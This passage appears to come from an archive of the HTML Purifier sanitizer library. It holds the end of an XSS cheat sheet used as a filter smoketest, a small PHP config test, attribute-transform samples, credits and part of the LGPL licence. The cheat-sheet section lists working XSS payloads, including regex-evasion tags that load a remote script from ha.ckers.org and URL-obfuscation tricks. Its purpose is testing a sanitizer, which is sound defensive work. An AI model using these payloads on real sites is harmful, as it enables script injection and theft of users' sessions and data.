-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
-onDataSetChanged() (fires when the data set exposed by a data source object changes)
-onDataSetComplete() (fires to indicate that all data is available from the data source object)
-onDblClick() (fires when user double-clicks a form element or a link)
-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
-onDrag() (requires that the user drags an object)
-onDragEnd() (requires that the user drags an object)
-onDragLeave() (requires that the user drags an object off a valid location)
-onDragEnter() (requires that the user drags an object into a valid location)
-onDragOver() (requires that the user drags an object into a valid location)
-onDragDrop() (user drops an object (e.g. file) onto the browser window)
-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
</desc>
<label>Event Handlers</label>
<browser>Browser support:</browser>
</attack>
<attack>
<name>Event Handlers List 2</name>
<code>See Below</code>
<desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
-onError() (loading of a document or image causes an error)
-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
-onFilterChange() (fires when a visual filter completes state change)
-onFinish() (attacker could create the exploit when marquee is finished looping)
-onFocus() (attacker executes the attack string when the window gets focus)
-onFocusIn() (attacker executes the attack string when window gets focus)
-onFocusOut() (attacker executes the attack string when window loses focus)
-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
-onKeyDown() (fires when user depresses a key)
-onKeyPress() (fires when user presses or holds down a key)
-onKeyUp() (fires when user releases a key)
-onLayoutComplete() (user would have to print or print preview)
-onLoad() (attacker executes the attack string after the window loads)
-onLoseCapture() (can be exploited by the releaseCapture() method)
-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
-onMouseDown() (the attacker would need to get the user to click on an image)
-onMouseEnter() (fires when cursor moves over an object or area)
-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
-onMouseOver() (fires when cursor moves over an object or area)
-onMouseUp() (the attacker would need to get the user to click on an image)
-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
-onMove() (user or attacker would move the page)
-onMoveEnd() (user or attacker would move the page)
-onMoveStart() (user or attacker would move the page)
-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
-onPause() (fires on every element that is active when the timeline pauses, including the body element)
-onProgress() (attacker would use this as a flash movie was loading)
-onPropertyChange() (user or attacker would need to change an element property)
-onReadyStateChange() (user or attacker would need to change an element property)
</desc>
<label>Event Handlers</label>
<browser>Browser support:</browser>
</attack>
<attack>
<name>Event Handlers List 3</name>
<code>See Below</code>
<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
-onReset() (fires when user or attacker resets a form)
-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
-onRowEnter() (user or attacker would need to change a row in a data source)
-onRowExit() (user or attacker would need to change a row in a data source)
-onRowDelete() (user or attacker would need to delete a row in a data source)
-onRowInserted() (user or attacker would need to insert a row in a data source)
-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
-onSeek() (fires when the timeline is set to play in any direction other than forward)
-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onStart() (fires at the beginning of each marquee loop)
-onStop() (user would need to press the stop button or leave the webpage)
-onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
-onSubmit() (requires attacker or user submits a form)
-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value)
-onTrackChange() (fires when user or attacker changes track in a playList)
-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
</desc>
<label>Event Handlers</label>
<browser>Browser support:</browser>
</attack>
<attack>
<name>Evade Regex Filter 1</name>
<code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter:
/<script[^>]+src/i</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Evade Regex Filter 2</name>
<code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
(this is an important one, because I've seen this regex in the wild)</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Evade Regex Filter 3</name>
<code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Another XSS to evade this regex filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Evade Regex Filter 4</name>
<code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Yet another XSS to evade the same filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Evade Regex Filter 5</name>
<code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>And one last XSS attack (using grave accents) to evade this regex:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Filter Evasion 1</name>
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Filter Evasion 2</name>
<code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IP Encoding</name>
<code><A HREF="http://66.102.7.147/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>URL Encoding</name>
<code><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Dword Encoding</name>
<code><A HREF="http://1113982867/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Hex Encoding</name>
<code><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Octal Encoding</name>
<code><A HREF="http://0102.0146.0007.00000223/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Mixed Encoding</name>
<code><A HREF="h
tt	p://6&#09;6.000146.0x7.147/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
The tabs and newlines only work if this is encapsulated with quotes.</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Protocol Resolution Bypass</name>
<code><A HREF="//www.google.com/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Firefox Lookups 1</name>
<code><A HREF="//google">XSS</A></code>
<desc>Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake"</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Firefox Lookups 2</name>
<code><A HREF="http://ha.ckers.org@google">XSS</A></code>
<desc>This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Firefox Lookups 3</name>
<code><A HREF="http://google:ha.ckers.org">XSS</A></code>
<desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google").</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Removing Cnames</name>
<code><A HREF="http://google.com/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Extra dot for Absolute DNS</name>
<code><A HREF="http://www.google.com./">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>JavaScript Link Location</name>
<code><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed)
JavaScript link location</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Content Replace</name>
<code><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></code>
<desc>Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:".</desc>
<label>URL Obfuscation</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
</xss>
PK j�$Z��� � ' htmlpurifier/smoketests/cacheConfig.phpnu �[��� <?php
require_once 'common.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Doctype', 'HTML 4.01 Strict');
$config->set('HTML.Allowed', 'b,a[href],br');
$config->set('CSS.AllowTricky', true);
$config->set('URI.Disable', true);
$serial = $config->serialize();
$result = unserialize($serial);
$purifier = new HTMLPurifier($result);
echo htmlspecialchars($purifier->purify('<b>Bold</b><br><i><a href="http://google.com">no</a> formatting</i>'));
PK j�$Z`�? ? ) htmlpurifier/smoketests/attrTransform.xmlnu �[��� <?xml version="1.0"?>
<samples>
<group title="menu,dir">
<sample><![CDATA[<menu><li>menu</li></menu>]]></sample>
<sample><![CDATA[<dir><li>dir</li></dir>]]></sample>
</group>
<group title="font">
<sample><![CDATA[<font color="red">Red</font>]]></sample>
<sample><![CDATA[<font color="#0000FF">#0000FF</font>]]></sample>
<sample><![CDATA[<font face="Arial">Arial</font>]]></sample>
</group>
<group title="font.size">
<sample><![CDATA[<font size="-2">-2</font>]]></sample>
<sample><![CDATA[<font size="-1">-1</font>]]></sample>
<sample><![CDATA[<font size="0">0</font>]]></sample>
<sample><![CDATA[<font size="1">1</font>]]></sample>
<sample><![CDATA[<font size="2">2</font>]]></sample>
<sample><![CDATA[<font size="3">3</font>]]></sample>
<sample><![CDATA[<font size="4">4</font>]]></sample>
<sample><![CDATA[<font size="5">5</font>]]></sample>
<sample><![CDATA[<font size="6">6</font>]]></sample>
<sample><![CDATA[<font size="7">7</font>]]></sample>
<sample><![CDATA[<font size="8">8</font>]]></sample>
<sample><![CDATA[<font size="+1">+1</font>]]></sample>
<sample><![CDATA[<font size="+2">+2</font>]]></sample>
<sample><![CDATA[<font size="+3">+3</font>]]></sample>
<sample><![CDATA[<font size="+4">+4</font>]]></sample>
<sample><![CDATA[<font size="+5">+5</font>]]></sample>
</group>
<group title="center">
<sample><![CDATA[<center>Centered</center>]]></sample>
</group>
<group title="p.align">
<sample><![CDATA[<p align="left">Left</p>]]></sample>
<sample><![CDATA[<p align="center">Center</p>]]></sample>
<sample><![CDATA[<p align="right">Right</p>]]></sample>
</group>
<group title="table.bgcolor">
<sample><![CDATA[
<table bgcolor="black" cellspacing="2" cellpadding="2" border="1">
<tr bgcolor="red">
<th bgcolor="green">To</th>
<td bgcolor="blue">Be</td>
</tr>
<tr>
<th bgcolor="green">Or</th>
<td>Not</td>
</tr>
<tr bgcolor="red">
<th>To</th>
<td>Be</td>
</tr>
</table>
]]></sample>
<sample><![CDATA[
<table class="bright" bgcolor="black" cellspacing="2" cellpadding="2" border="1">
<tr>
<th bgcolor="green">Or</th>
<td>Not</td>
</tr>
<tr bgcolor="blue">
<th bgcolor="green">To</th>
<td>Be</td>
</tr>
</table>
]]></sample>
</group>
<group title="img.border">
<sample><![CDATA[<img src="img.png" alt="I" border="2" />]]></sample>
<sample><![CDATA[<a href="http://example.com/"><img src="img.png" alt="I" border="2" /></a>]]></sample>
</group>
<group title="td,th,hr.width">
<sample><![CDATA[
<table border="1">
<tr>
<th width="20">x1</th>
<td width="40">x2</td>
</tr>
</table>
]]></sample>
<sample><![CDATA[
<table border="1">
<tr>
<th width="33%">x1</th>
<td width="67%">x2</td>
</tr>
</table>
]]></sample>
<sample><![CDATA[<hr width="70%" /><hr width="30" />]]></sample>
</group>
<group title="td,th.nowrap">
<sample><![CDATA[
<table border="1">
<tr>
<th>This wants to wrap</th>
<td>really badly yes it does</td>
</tr>
</table>
]]></sample>
<sample><![CDATA[
<table border="1">
<tr>
<th nowrap>This wants to wrap</th>
<td nowrap>really badly yes it does</td>
</tr>
</table>
]]></sample>
</group>
<group title="td,th.height">
<sample><![CDATA[<table border="1"><tr><td height="60">tall</td></tr></table>]]></sample>
</group>
<group title="img.vspace,hspace">
<sample><![CDATA[a<img src="img.png" alt="I" class="marked" hspace="7" />a]]></sample>
<sample><![CDATA[<img src="img.png" alt="I" class="marked" vspace="7" /><br />o]]></sample>
</group>
<group title="hr">
<sample><![CDATA[<hr size="4" />]]></sample>
<sample><![CDATA[<hr size="50" noshade />]]></sample>
</group>
<group title="br.clear">
<sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br />A]]></sample>
<sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br clear="right" />A]]></sample>
<sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br />A]]></sample>
<sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br clear="all" />A]]></sample>
</group>
<group title="caption.align">
<sample><![CDATA[
<table border="1">
<caption align="left">Left</caption>
<tr><td>1.1</td><td>1.2</td></tr>
</table>
]]></sample>
<sample><![CDATA[
<table border="1">
<caption align="right">Right</caption>
<tr><td>1.1</td><td>1.2</td></tr>
</table>
]]></sample>
<sample><![CDATA[
<table border="1">
<caption align="top">Top</caption>
<tr><td>1.1</td><td>1.2</td></tr>
</table>
]]></sample>
<sample><![CDATA[
<table border="1">
<caption align="bottom">Bottom</caption>
<tr><td>1.1</td><td>1.2</td></tr>
</table>
]]></sample>
</group>
<group title="img.align">
<sample><![CDATA[left<img src="img.png" alt="I" class="marked" align="left" />]]></sample>
<sample><![CDATA[right<img src="img.png" alt="I" class="marked" align="right" />]]></sample>
<sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="top" /> top]]></sample>
<sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="bottom" /> bottom]]></sample>
<sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="middle" /> middle]]></sample>
</group>
<group title="table.align">
<sample><![CDATA[a<table align="left" class="bright"><tr><td>left</td></tr></table>a]]></sample>
<sample><![CDATA[a<table align="center" class="bright"><tr><td>center</td></tr></table>a]]></sample>
<sample><![CDATA[a<table align="right" class="bright"><tr><td>right</td></tr></table>a]]></sample>
</group>
<group title="hr.align">
<sample><![CDATA[<hr align="left" class="short" />left]]></sample>
<sample><![CDATA[<hr align="center" class="short" />center]]></sample>
<sample><![CDATA[<hr align="right" class="short" />right]]></sample>
</group>
<group title="ul,ol,li.type">
<sample><![CDATA[<ul type="disc"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ul type="square"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ul type="circle"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol type="a"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol type="A"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol type="i"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol type="I"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol type="1"><li>1</li><li>2</li></ul>]]></sample>
<sample><![CDATA[<ol><li type="a">1</li><li type="I">2</li></ul>]]></sample>
</group>
<!-- sample
<group title="">
<sample><![CDATA[]]></sample>
<sample><![CDATA[]]></sample>
<sample><![CDATA[]]></sample>
</group>
-->
</samples>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z��n�U U htmlpurifier/CREDITSnu �[���
CREDITS
Almost everything written by Edward Z. Yang (Ambush Commander). Lots of thanks
to the DevNetwork Community for their help (see docs/ref-devnetwork.html for
more details), Feyd especially (namely IPv6 and optimization). Thanks to RSnake
for letting me package his fantastic XSS cheatsheet for a smoketest.
vim: et sw=4 sts=4
PK j�$Z�X@Xg Xg htmlpurifier/LICENSEnu �[��� GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
